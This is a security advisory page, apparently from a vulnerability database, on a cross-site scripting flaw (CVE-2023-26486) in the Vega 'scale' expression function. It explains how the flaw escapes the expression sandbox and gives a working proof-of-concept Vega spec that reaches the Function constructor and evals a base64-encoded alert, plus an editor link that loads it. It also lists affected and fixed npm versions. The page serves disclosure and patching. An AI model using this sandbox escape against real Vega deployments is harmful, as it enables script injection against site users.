Vega Expression Language `scale` expression function Cross Site Scripting
Summary
The Vega scale expression function has the ability to call arbitrary functions with a single controlled argument. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript.
Details
The scale expression function passes a user supplied argument group to getScale, which is then used as if it were an internal context. The context.scales[name].value is accessed from group and called as a function back in scale.
PoC
The following Vega definition can be used to demonstrate this issue executing the JavaScript code alert(1);
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"data": [
{
"name": "XSS PoC",
"values": [1],
"transform": [
{
"type": "formula",
"as": "amount",
"expr": "scale('func', null, {context: {scales: {func: {value: scale('func', 'eval(atob(\"YWxlcnQoMSk7\"))', {context: {scales: {func: {value: [].constructor.constructor}}}})}}}})"
}
]
}
]
}This can be viewed in the Vega online IDE at https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | vega | < 5.23.0 | 5.23.0 |
| npm package | vega-functions | < 5.13.1 | 5.13.1 |
References
- https://github.com/vega/vega/security/advisories/GHSA-4vq7-882g-wcg4
- https://nvd.nist.gov/vuln/detail/CVE-2023-26486
- https://github.com/vega/vega
- https://github.com/vega/vega/releases/tag/v5.23.0
- https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/functions/scale.js#L36-L37
- https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/scales.js#L6
- https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N- Weakness (CWE)
CWE-79- Platform
- npm
- Package
vega, vega-functions- Disclosed
- 02.03.2023
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-4vq7-882g-wcg4 - CC BY 4.0
Vulnerability history: vega-functions
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 5
- First → latest
- 03.2023 01.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 1
- Medium 4
Disclosures per year
- 2023: 2
- 2024: 0
- 2025: 2
- 2026: 1
-
Vega Expression Language `scale` expression function Cross Site Scripting this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.